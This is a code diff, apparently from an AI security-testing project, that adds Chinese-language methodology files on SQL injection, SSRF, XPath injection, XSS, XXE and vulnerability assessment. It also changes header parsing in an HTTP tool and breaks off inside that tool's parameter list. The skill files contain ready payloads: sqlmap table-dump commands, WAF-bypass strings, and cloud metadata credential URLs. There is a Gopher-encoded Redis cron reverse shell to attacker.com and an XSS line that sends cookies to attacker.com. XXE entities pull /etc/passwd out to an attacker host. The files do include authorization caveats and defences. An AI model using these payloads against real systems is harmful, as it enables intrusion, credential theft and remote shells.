- 处理可疑邮件
- 附件安全
- 链接安全
**钓鱼邮件识别:**
- 检查发件人
- 检查链接
- 检查附件
- 检查内容
**处理可疑邮件:**
- 不点击链接
- 不打开附件
- 报告安全团队
- 删除邮件
### 3. 社交工程
**内容:**
- 识别社交工程
- 防范社交工程
- 报告可疑行为
**常见手段:**
- 假冒身份
- 紧急情况
- 权威要求
- 利益诱惑
**防范措施:**
- 验证身份
- 不轻信
- 报告可疑
- 遵守流程
### 4. 数据安全
**内容:**
- 数据分类
- 数据保护
- 数据共享
- 数据销毁
**数据保护:**
- 加密敏感数据
- 安全存储
- 安全传输
- 访问控制
**数据共享:**
- 最小化共享
- 使用安全渠道
- 验证接收方
- 记录共享
### 5. 物理安全
**内容:**
- 设备安全
- 办公环境
- 访客管理
- 应急响应
**设备安全:**
- 锁定屏幕
- 保护设备
- 安全存储
- 及时报告丢失
## 培训方法
### 1. 在线培训
**优势:**
- 灵活方便
- 可重复学习
- 成本较低
- 易于跟踪
**实施:**
- 使用LMS平台
- 制作培训内容
- 设置学习路径
- 跟踪学习进度
### 2. 面对面培训
**优势:**
- 互动性强
- 即时反馈
- 深度讨论
- 建立关系
**实施:**
- 定期培训
- 分组讨论
- 案例分析
- 实践演练
### 3. 模拟演练
**优势:**
- 真实场景
- 实践操作
- 检验效果
- 提高能力
**实施:**
- 钓鱼邮件演练
- 社交工程演练
- 应急响应演练
- 安全事件演练
## 培训计划
### 新员工培训
**内容:**
- 安全政策
- 基础安全知识
- 工具使用
- 报告流程
**时间:**
- 入职时
- 第一周
- 持续跟进
### 定期培训
**内容:**
- 最新威胁
- 安全更新
- 案例分析
- 最佳实践
**频率:**
- 季度培训
- 年度培训
- 专项培训
### 专项培训
**内容:**
- 特定角色培训
- 深度培训
- 认证培训
**对象:**
- 管理员
- 开发人员
- 安全人员
- 管理层
## 评估方法
### 1. 知识测试
**方法:**
- 在线测试
- 问卷调查
- 技能评估
**指标:**
- 测试分数
- 通过率
- 改进情况
### 2. 行为观察
**方法:**
- 模拟演练
- 实际观察
- 事件分析
**指标:**
- 演练结果
- 事件数量
- 报告数量
### 3. 反馈收集
**方法:**
- 培训反馈
- 满意度调查
- 建议收集
**指标:**
- 满意度
- 改进建议
- 培训效果
## 最佳实践
### 1. 内容设计
- 针对性强
- 实用易懂
- 案例丰富
- 持续更新
### 2. 实施策略
- 定期培训
- 多种形式
- 互动参与
- 跟踪效果
### 3. 文化建设
- 领导支持
- 全员参与
- 持续改进
- 奖励机制
## 注意事项
- 内容要实用
- 形式要多样
- 跟踪要持续
- 改进要及时
+101
View File
@@ -0,0 +1,101 @@
---
name: sql-injection-testing
description: SQL注入测试的专业技能和方法论
version: 1.0.0
---
# SQL注入测试技能
## 概述
SQL注入是一种常见且危险的Web应用漏洞。本技能提供了系统化的SQL注入测试方法、检测技术和利用策略。
## 测试方法
### 1. 参数识别
- 识别所有用户输入点:URL参数、POST数据、HTTP头、Cookie等
- 重点关注:id、search、filter、sort等参数
- 使用Burp Suite或类似工具拦截和修改请求
### 2. 基础检测
- 单引号测试:`'` - 查看是否出现SQL错误
- 布尔盲注:`' AND '1'='1` vs `' AND '1'='2`
- 时间盲注:`' AND SLEEP(5)--`
- 联合查询:`' UNION SELECT NULL--`
### 3. 数据库识别
- MySQL`' AND @@version LIKE '%mysql%'--`
- PostgreSQL`' AND version() LIKE '%PostgreSQL%'--`
- MSSQL`' AND @@version LIKE '%Microsoft%'--`
- Oracle`' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--`
### 4. 信息提取
- 数据库名:`' UNION SELECT database()--`
- 表名:`' UNION SELECT table_name FROM information_schema.tables--`
- 列名:`' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--`
- 数据提取:`' UNION SELECT username,password FROM users--`
## 工具使用
### sqlmap
```bash
# 基础扫描
sqlmap -u "http://target.com/page?id=1"
# 指定参数
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
# 指定数据库类型
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
# 获取数据库列表
sqlmap -u "http://target.com/page?id=1" --dbs
# 获取表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
# 获取数据
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
```
### 手动测试
- 使用Burp Suite的Repeater模块
- 使用浏览器开发者工具
- 编写Python脚本自动化测试
## 绕过技术
### WAF绕过
- 编码绕过:URL编码、Unicode编码、十六进制编码
- 注释绕过:`/**/`, `--`, `#`
- 大小写混合:`SeLeCt`, `UnIoN`
- 空格替换:`/**/`, `+`, `%09`(Tab), `%0A`(换行)
### 示例
```
原始:' UNION SELECT NULL--
绕过1'/**/UNION/**/SELECT/**/NULL--
绕过2'%55nion%20select%20null--
绕过3'/*!UNION*//*!SELECT*/null--
```
## 验证和报告
### 验证步骤
1. 确认可以执行SQL语句
2. 提取数据库信息验证
3. 评估影响范围(数据泄露、权限提升等)
4. 记录完整的POC(请求/响应)
### 报告要点
- 漏洞位置和参数
- 影响的数据和系统
- 完整的利用步骤
- 修复建议(参数化查询、输入验证等)
## 注意事项
- 仅在授权测试环境中进行
- 避免对生产数据造成破坏
- 谨慎使用DROP、DELETE等危险操作
- 记录所有测试步骤以便复现
+266
View File
@@ -0,0 +1,266 @@
---
name: ssrf-testing
description: SSRF服务器端请求伪造测试的专业技能和方法论
version: 1.0.0
---
# SSRF服务器端请求伪造测试
## 概述
SSRFServer-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。
## 漏洞原理
应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致:
- 内网资源访问
- 本地文件读取
- 端口扫描
- 绕过防火墙
- 云服务元数据访问
## 测试方法
### 1. 识别SSRF输入点
**常见功能:**
- URL预览/截图
- 文件上传(远程URL
- Webhook回调
- API代理
- 数据导入
- 图片处理
- PDF生成
### 2. 基础检测
**测试本地回环:**
```
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
```
**测试内网IP**
```
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1
```
**测试文件协议:**
```
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
```
### 3. 绕过技术
**IP地址编码:**
```
127.0.0.1 → 2130706433 (十进制)
127.0.0.1 → 0x7f000001 (十六进制)
127.0.0.1 → 0177.0.0.1 (八进制)
```
**域名解析绕过:**
```
127.0.0.1.xip.io
127.0.0.1.nip.io
localtest.me
```
**URL重定向:**
```
http://attacker.com/redirect → http://127.0.0.1
```
**协议混淆:**
```
http://127.0.0.1:80@evil.com
http://evil.com#@127.0.0.1
```
## 利用技术
### 内网探测
**端口扫描:**
```bash
# 使用Burp Intruder
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080
http://127.0.0.1:9200
```
**识别服务:**
- 响应时间差异
- 错误信息
- HTTP状态码
- 响应内容
### 云服务元数据
**AWS EC2**
```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
**Google Cloud**
```
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
```
**Azure**
```
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
```
**阿里云:**
```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
```
### 内网应用攻击
**访问管理后台:**
```
http://127.0.0.1:8080/admin
http://192.168.1.100/phpmyadmin
```
**Redis未授权访问:**
```
http://127.0.0.1:6379
# 然后发送Redis命令
```
**FastCGI攻击:**
```
http://127.0.0.1:9000
# 利用FastCGI协议执行命令
```
## 高级利用
### Gopher协议
**发送任意协议数据:**
```
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a
```
**Redis命令执行:**
```
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```
### Dict协议
**端口扫描和信息收集:**
```
dict://127.0.0.1:6379/info
dict://127.0.0.1:3306/status
```
### 文件协议
**读取本地文件:**
```
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file:///proc/self/environ
```
## 工具使用
### SSRFmap
```bash
# 基础扫描
python3 ssrfmap.py -r request.txt -p url
# 端口扫描
python3 ssrfmap.py -r request.txt -p url -m portscan
# 云元数据
python3 ssrfmap.py -r request.txt -p url -m cloud
```
### Gopherus
```bash
# 生成Gopher payload
python gopherus.py --exploit redis
```
### Burp Collaborator
**检测盲SSRF**
```
http://burpcollaborator.net
# 观察是否有DNS/HTTP请求
```
## 验证和报告
### 验证步骤
1. 确认可以控制请求目标
2. 验证内网资源访问或端口扫描
3. 评估影响范围(内网渗透、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和输入参数
- 可访问的内网资源或端口
- 完整的利用步骤和PoC
- 修复建议(URL白名单、禁用危险协议等)
## 防护措施
### 推荐方案
1. **URL白名单**
```python
ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
parsed = urlparse(url)
if parsed.netloc not in ALLOWED_DOMAINS:
raise ValueError("Domain not allowed")
```
2. **禁用危险协议**
- 只允许http/https
- 禁止file://、gopher://、dict://等
3. **IP地址过滤**
```python
import ipaddress
def is_internal_ip(ip):
return ipaddress.ip_address(ip).is_private or \
ipaddress.ip_address(ip).is_loopback
```
4. **使用DNS解析验证**
- 解析域名获取IP
- 验证IP是否在内网范围
5. **网络隔离**
- 限制服务器出网权限
- 使用代理服务器
## 注意事项
- 仅在授权测试环境中进行
- 避免对内网系统造成影响
- 注意不同协议的支持情况
- 测试时注意请求频率,避免触发防护
+305
View File
@@ -0,0 +1,305 @@
---
name: vulnerability-assessment
description: 漏洞评估的专业技能和方法论
version: 1.0.0
---
# 漏洞评估
## 概述
漏洞评估是识别和评估系统漏洞的重要环节。本技能提供漏洞评估的方法、工具和最佳实践。
## 评估流程
### 1. 范围确定
**确定范围:**
- 目标系统
- 网络范围
- 应用范围
- 测试深度
### 2. 信息收集
**收集信息:**
- 系统信息
- 网络拓扑
- 服务信息
- 应用信息
### 3. 漏洞扫描
**扫描类型:**
- 网络扫描
- 主机扫描
- 应用扫描
- 配置扫描
### 4. 漏洞验证
**验证方法:**
- 手动验证
- 工具验证
- 概念验证
- 影响评估
### 5. 风险评估
**评估因素:**
- 漏洞严重性
- 利用难度
- 影响范围
- 业务影响
## 扫描工具
### 网络扫描
**使用Nessus**
```bash
# 启动Nessus
# 创建扫描任务
# 配置扫描策略
# 执行扫描
# 分析结果
```
**使用OpenVAS**
```bash
# 启动OpenVAS
gvm-setup
# 创建扫描任务
# 执行扫描
# 分析结果
```
**使用Nmap**
```bash
# 漏洞扫描
nmap --script vuln target
# 特定漏洞
nmap --script smb-vuln-ms17-010 target
```
### 应用扫描
**使用Burp Suite**
```bash
# 配置代理
# 浏览应用
# 被动扫描
# 主动扫描
# 分析结果
```
**使用OWASP ZAP**
```bash
# 启动ZAP
zap.sh
# 快速扫描
zap-cli quick-scan http://target.com
# 完整扫描
zap-cli full-scan http://target.com
```
**使用Acunetix**
```bash
# 启动Acunetix
# 创建扫描任务
# 配置扫描选项
# 执行扫描
# 分析结果
```
### 代码扫描
**使用SonarQube**
```bash
# 运行扫描
sonar-scanner
# 分析结果
# 查看报告
```
**使用Checkmarx**
```bash
# 使用Web界面
# 上传代码
# 执行扫描
# 分析结果
```
## 漏洞分类
### 按严重性
**严重(Critical):**
- 远程代码执行
- SQL注入
- 认证绕过
- 敏感数据泄露
**高危(High):**
- 权限提升
- 信息泄露
- 业务逻辑漏洞
- 配置错误
**中危(Medium):**
- XSS漏洞
- CSRF漏洞
- 弱密码
- 不安全的配置
**低危(Low):**
- 信息泄露
- 配置建议
- 最佳实践
- 信息收集
### 按类型
**注入漏洞:**
- SQL注入
- 命令注入
- LDAP注入
- XPath注入
**认证漏洞:**
- 弱密码
- 会话固定
- 认证绕过
- 密码重置
**授权漏洞:**
- 权限提升
- IDOR
- 水平权限
- 垂直权限
**配置错误:**
- 默认配置
- 错误配置
- 不安全的存储
- 敏感信息泄露
## 风险评估
### CVSS评分
**基础指标:**
- 攻击向量(AV
- 攻击复杂度(AC
- 所需权限(PR
- 用户交互(UI
**影响指标:**
- 机密性影响(C
- 完整性影响(I
- 可用性影响(A
**计算CVSS**
```bash
# 使用CVSS计算器
# 输入指标
# 计算分数
# 确定等级
```
### 业务影响
**评估因素:**
- 数据敏感性
- 系统重要性
- 业务影响
- 合规要求
**风险矩阵:**
```
低影响 中影响 高影响
高可能性 中 高 严重
中可能性 低 中 高
低可能性 低 低 中
```
## 报告编写
### 报告结构
**执行摘要:**
- 评估概述
- 关键发现
- 风险评级
- 建议措施
**详细发现:**
- 漏洞描述
- 影响分析
- 利用步骤
- 修复建议
**附录:**
- 扫描配置
- 工具版本
- 参考链接
- 术语表
### 报告模板
```markdown
# 漏洞评估报告
## 执行摘要
- 评估时间:2024-01-01
- 评估范围:xxx
- 发现漏洞:xx个
- 严重漏洞:x个
## 漏洞列表
### VULN-001: SQL注入
- 严重性:严重
- CVSS评分:9.8
- 描述:...
- 影响:...
- 修复建议:...
## 总结
...
```
## 最佳实践
### 1. 扫描前
- 获得授权
- 确定范围
- 准备工具
- 通知相关人员
### 2. 扫描中
- 系统化扫描
- 记录操作
- 验证漏洞
- 评估影响
### 3. 扫描后
- 分析结果
- 编写报告
- 提供建议
- 跟踪修复
## 注意事项
- 获得明确授权
- 避免对系统造成影响
- 保护扫描数据
- 及时报告关键漏洞
+306
View File
@@ -0,0 +1,306 @@
---
name: xpath-injection-testing
description: XPath注入漏洞测试的专业技能和方法论
version: 1.0.0
---
# XPath注入漏洞测试
## 概述
XPath注入是一种类似于SQL注入的漏洞,利用XPath查询语句的构造缺陷,可能导致信息泄露、认证绕过等。本技能提供XPath注入的检测、利用和防护方法。
## 漏洞原理
应用程序将用户输入直接拼接到XPath查询语句中,未进行充分验证和过滤,导致攻击者可以修改查询逻辑。
**危险代码示例:**
```java
String xpath = "//user[username='" + username + "' and password='" + password + "']";
XPathExpression expr = xpath.compile(xpath);
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);
```
## XPath基础
### 查询语法
**基础查询:**
```
//user[username='admin']
//user[@id='1']
//user[username='admin' and password='pass']
//user[username='admin' or username='user']
```
### 函数
**常用函数:**
- `text()` - 获取文本内容
- `count()` - 计数
- `substring()` - 子字符串
- `string-length()` - 字符串长度
- `contains()` - 包含检查
## 测试方法
### 1. 识别XPath输入点
**常见功能:**
- 用户登录
- 数据搜索
- XML数据查询
- 配置查询
### 2. 基础检测
**测试特殊字符:**
```
' or '1'='1
' or '1'='1' or '
' or 1=1 or '
') or ('1'='1
```
**测试逻辑操作符:**
```
' or '1'='1
' and '1'='2
' or 1=1 or '
```
### 3. 认证绕过
**基础绕过:**
```
用户名: admin' or '1'='1
密码: anything
查询: //user[username='admin' or '1'='1' and password='anything']
```
**更精确的绕过:**
```
用户名: admin') or ('1'='1
查询: //user[username='admin') or ('1'='1' and password='*']
```
### 4. 信息泄露
**枚举用户:**
```
' or 1=1 or '
' or '1'='1
') or 1=1 or ('
```
**获取节点数量:**
```
' or count(//user)>0 or '
```
**获取特定节点:**
```
' or substring(//user[1]/username,1,1)='a' or '
```
## 利用技术
### 认证绕过
**方法1:逻辑绕过**
```
输入: admin' or '1'='1
查询: //user[username='admin' or '1'='1' and password='*']
结果: 匹配所有用户
```
**方法2:注释绕过**
```
输入: admin')] | //* | //*[('
查询: //user[username='admin')] | //* | //*[('' and password='*']
```
**方法3:布尔盲注**
```
' or substring(//user[1]/username,1,1)='a' or '
' or substring(//user[1]/username,1,1)='b' or '
```
### 信息泄露
**枚举所有用户:**
```
' or 1=1 or '
结果: 返回所有用户节点
```
**获取用户名:**
```
' or substring(//user[1]/username,1,1)='a' or '
' or substring(//user[1]/username,2,1)='d' or '
逐步获取每个字符
```
**获取密码:**
```
' or substring(//user[1]/password,1,1)='p' or '
逐步获取密码字符
```
### 盲注技术
**基于时间的盲注:**
```
' or count(//user[substring(username,1,1)='a'])>0 and sleep(5) or '
```
**基于布尔值的盲注:**
```
' or substring(//user[1]/username,1,1)='a' or '
观察响应差异
```
## 绕过技术
### 编码绕过
**URL编码:**
```
' or '1'='1 → %27%20or%20%271%27%3D%271
```
**HTML实体编码:**
```
' → &#39;
" → &quot;
< → &lt;
> → &gt;
```
### 注释绕过
**使用注释:**
```
' or 1=1 or '
' or '1'='1' or '
```
### 函数绕过
**使用不同函数:**
```
substring(//user[1]/username,1,1)
substring(//user[position()=1]/username,1,1)
//user[1]/username/text()[1]
```
## 工具使用
### XPath表达式测试
**在线工具:**
- XPath Tester
- XMLSpy
- Oxygen XML Editor
### Burp Suite
1. 拦截XPath查询请求
2. 修改查询参数
3. 观察响应结果
### Python脚本
```python
from lxml import etree
from lxml.etree import XPath
# 加载XML文档
doc = etree.parse('users.xml')
# 测试注入
xpath_expr = "//user[username='admin' or '1'='1']"
xpath = XPath(xpath_expr)
results = xpath(doc)
print(results)
```
## 验证和报告
### 验证步骤
1. 确认可以控制XPath查询
2. 验证认证绕过或信息泄露
3. 评估影响(未授权访问、数据泄露等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和输入参数
- XPath查询构造方式
- 完整的利用步骤和PoC
- 修复建议(输入验证、参数化查询等)
## 防护措施
### 推荐方案
1. **输入验证**
```java
private static final String[] XPATH_ESCAPE_CHARS =
{"'", "\"", "[", "]", "(", ")", "=", ">", "<", " "};
public static String escapeXPath(String input) {
if (input == null) {
return null;
}
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (Arrays.asList(XPATH_ESCAPE_CHARS).contains(String.valueOf(c))) {
sb.append("\\");
}
sb.append(c);
}
return sb.toString();
}
```
2. **参数化查询**
```java
// 使用XPath变量
String xpath = "//user[username=$username and password=$password]";
XPathExpression expr = xpath.compile(xpath);
XPathVariableResolver resolver = new MapVariableResolver(
Map.of("username", escapedUsername, "password", escapedPassword));
expr.setXPathVariableResolver(resolver);
```
3. **白名单验证**
```java
// 只允许特定字符
if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
throw new IllegalArgumentException("Invalid input");
}
```
4. **使用预编译查询**
```java
// 预定义查询模板
private static final String LOGIN_QUERY =
"//user[username=$1 and password=$2]";
// 使用参数绑定
```
5. **最小权限**
- 限制XPath查询范围
- 使用访问控制
- 限制可查询的节点
## 注意事项
- 仅在授权测试环境中进行
- 注意不同XPath版本的语法差异
- 测试时避免对XML数据造成影响
- 了解目标应用的XPath实现
+135
View File
@@ -0,0 +1,135 @@
---
name: xss-testing
description: XSS跨站脚本攻击测试的专业技能
version: 1.0.0
---
# XSS测试技能
## 概述
跨站脚本攻击(XSS)允许攻击者在受害者的浏览器中执行恶意JavaScript代码。本技能涵盖反射型、存储型和DOM型XSS的测试方法。
## XSS类型
### 1. 反射型XSS (Reflected XSS)
- 恶意脚本通过URL参数传递
- 服务器直接返回包含脚本的响应
- 需要用户点击恶意链接
### 2. 存储型XSS (Stored XSS)
- 恶意脚本存储在服务器(数据库、文件等)
- 所有访问受影响页面的用户都会执行脚本
- 影响范围更大
### 3. DOM型XSS (DOM-based XSS)
- 客户端JavaScript处理用户输入不当
- 不涉及服务器端处理
- 通过修改DOM结构触发
## 测试方法
### 基础Payload
```javascript
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
```
### 绕过过滤
#### 大小写绕过
```javascript
<ScRiPt>alert('XSS')</ScRiPt>
```
#### 编码绕过
```javascript
%3Cscript%3Ealert('XSS')%3C/script%3E
&#60;script&#62;alert('XSS')&#60;/script&#62;
```
#### 事件处理器
```javascript
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<div onmouseover=alert('XSS')>hover</div>
<input onfocus=alert('XSS') autofocus>
```
#### 伪协议
```javascript
<a href="javascript:alert('XSS')">click</a>
<iframe src="javascript:alert('XSS')">
```
### 高级绕过技术
#### 使用String.fromCharCode
```javascript
<script>alert(String.fromCharCode(88,83,83))</script>
```
#### 使用eval和atob
```javascript
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
```
#### 使用HTML实体
```javascript
&#60;script&#62;alert('XSS')&#60;/script&#62;
```
## 工具使用
### dalfox
```bash
# 基础扫描
dalfox url "http://target.com/page?q=test"
# 指定参数
dalfox url "http://target.com/page" -d "q=test" -X POST
# 使用自定义payload
dalfox url "http://target.com/page?q=test" --custom-payload payloads.txt
```
### Burp Suite
- 使用Intruder模块进行批量测试
- 使用Repeater手动测试
- 使用Scanner自动检测
### 浏览器控制台
- 测试DOM型XSS
- 检查JavaScript执行环境
- 调试payload
## 验证和利用
### 验证步骤
1. 确认payload被执行
2. 检查是否被过滤或编码
3. 测试不同上下文(HTML、JavaScript、属性等)
4. 评估影响(Cookie窃取、会话劫持等)
### 利用场景
- Cookie窃取:`<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>`
- 键盘记录:注入键盘事件监听器
- 钓鱼攻击:伪造登录表单
- 会话劫持:获取用户会话token
## 报告要点
- XSS类型(反射/存储/DOM
- 触发位置和参数
- 完整的POC
- 影响评估
- 修复建议(输出编码、CSP策略等)
## 防护措施
- 输入验证和过滤
- 输出编码(HTML、JavaScript、URL
- Content Security Policy (CSP)
- HttpOnly Cookie标志
- 使用安全的框架和库
+244
View File
@@ -0,0 +1,244 @@
---
name: xxe-testing
description: XXE XML外部实体注入测试的专业技能和方法论
version: 1.0.0
---
# XXE XML外部实体注入测试
## 概述
XXEXML External Entity)注入是一种利用XML解析器处理外部实体的漏洞。本技能提供XXE漏洞的检测、利用和防护方法。
## 漏洞原理
XML解析器在处理外部实体时,可能读取本地文件、进行SSRF攻击或导致拒绝服务。常见于:
- XML文档解析
- SOAP服务
- Office文档(.docx, .xlsx等)
- SVG图片
- PDF文件
## 测试方法
### 1. 识别XML输入点
- 文件上传功能
- API接口接受XML数据
- SOAP请求
- Office文档处理
- 数据导入功能
### 2. 基础XXE检测
**测试外部实体:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```
**测试网络请求(SSRF):**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>
```
### 3. 盲XXE检测
**当响应不直接显示内容时:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/?file=/etc/passwd">
]>
<foo>&xxe;</foo>
```
**使用参数实体:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
```
**evil.dtd内容:**
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?%file;'>">
%eval;
%exfil;
```
## 利用技术
### 文件读取
**读取本地文件:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```
**Windows路径:**
```xml
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
```
### SSRF攻击
**内网探测:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>&xxe;</foo>
```
**端口扫描:**
```xml
<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">
```
### 拒绝服务
**Billion Laughs攻击:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<foo>&lol9;</foo>
```
### Office文档XXE
**docx文件结构:**
```
word/document.xml - 包含文档内容
word/_rels/document.xml.rels - 包含外部引用
```
**修改document.xml.rels**
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships>
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="file:///etc/passwd" TargetMode="External"/>
</Relationships>
```
## 绕过技术
### 不同协议
**PHP**
```xml
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
```
**Java**
```xml
<!ENTITY xxe SYSTEM "jar:file:///path/to/file.zip!/file.txt">
```
**编码绕过:**
```xml
<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64">
```
### 参数实体
**利用参数实体绕过某些限制:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>test</foo>
```
## 工具使用
### XXEinjector
```bash
# 基础使用
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml
# 文件读取
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd
```
### Burp Suite
1. 拦截包含XML的请求
2. 发送到Repeater
3. 修改XML内容,添加外部实体
4. 观察响应或外带数据
## 验证和报告
### 验证步骤
1. 确认XML解析器处理外部实体
2. 验证文件读取或SSRF是否成功
3. 评估影响范围(敏感文件、内网访问等)
4. 记录完整的POC
### 报告要点
- 漏洞位置和XML输入点
- 可读取的文件或可访问的内网资源
- 完整的利用步骤和PoC
- 修复建议(禁用外部实体、使用白名单等)
## 防护措施
### 推荐方案
1. **禁用外部实体**
```java
// Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```
2. **使用白名单验证**
- 验证XML结构
- 限制允许的实体
3. **使用安全的解析器**
- 使用不处理DTD的解析器
- 使用JSON替代XML
## 注意事项
- 仅在授权测试环境中进行
- 避免读取敏感文件造成数据泄露
- 注意不同语言和库的XXE处理差异
- 测试Office文档时注意文件格式
+28 -5
View File
@@ -445,7 +445,7 @@ args:
parser.add_argument("--url", required=True)
parser.add_argument("--method", default="GET")
parser.add_argument("--data", default="")
parser.add_argument("--headers", default="")
parser.add_argument("--headers", default="", type=str)
parser.add_argument("--cookies", default="")
parser.add_argument("--user-agent", dest="user_agent", default="")
parser.add_argument("--proxy", default="")
@@ -489,7 +489,30 @@ args:
prepared_url = smart_encode_url(args.url) if args.auto_encode_url else args.url
method = (args.method or "GET").upper()
headers = httpx.Headers(parse_headers(args.headers))
# 处理 headers:支持字典(JSON字符串)和字符串格式
# 框架会将 object 类型序列化为 JSON 字符串传递
headers_list = []
if args.headers:
headers_str = args.headers.strip()
# 优先尝试解析为 JSON(框架传递的字典会被序列化为 JSON)
if headers_str.startswith("{") or headers_str.startswith("["):
try:
parsed = json.loads(headers_str)
if isinstance(parsed, dict):
# 字典格式:直接转换为 (key, value) 元组列表
headers_list = [(str(k).strip(), str(v).strip()) for k, v in parsed.items()]
elif isinstance(parsed, list):
# 数组格式:使用原有的 parse_headers 函数处理
headers_list = parse_headers(headers_str)
else:
headers_list = parse_headers(headers_str)
except (json.JSONDecodeError, ValueError):
# JSON 解析失败,回退到原有的字符串解析逻辑
headers_list = parse_headers(headers_str)
else:
# 非 JSON 格式,使用原有的字符串解析逻辑(向后兼容)
headers_list = parse_headers(headers_str)
headers = httpx.Headers(headers_list)
if args.user_agent:
headers["User-Agent"] = args.user_agent
@@ -709,7 +732,7 @@ description: |
parameters:
- name: "url"
type: "string"
description: "目标URL(可自动编码路径/参数,避免特殊字符导致的请求失败)"
description: "目标URL(可自动编码路径/参数,避免特殊字符导致的请求失败如:https://www.target.com/s?wd=test"
required: true
flag: "--url"
- name: "method"
@@ -724,8 +747,8 @@ parameters:
required: false
flag: "--data"
- name: "headers"
type: "string"
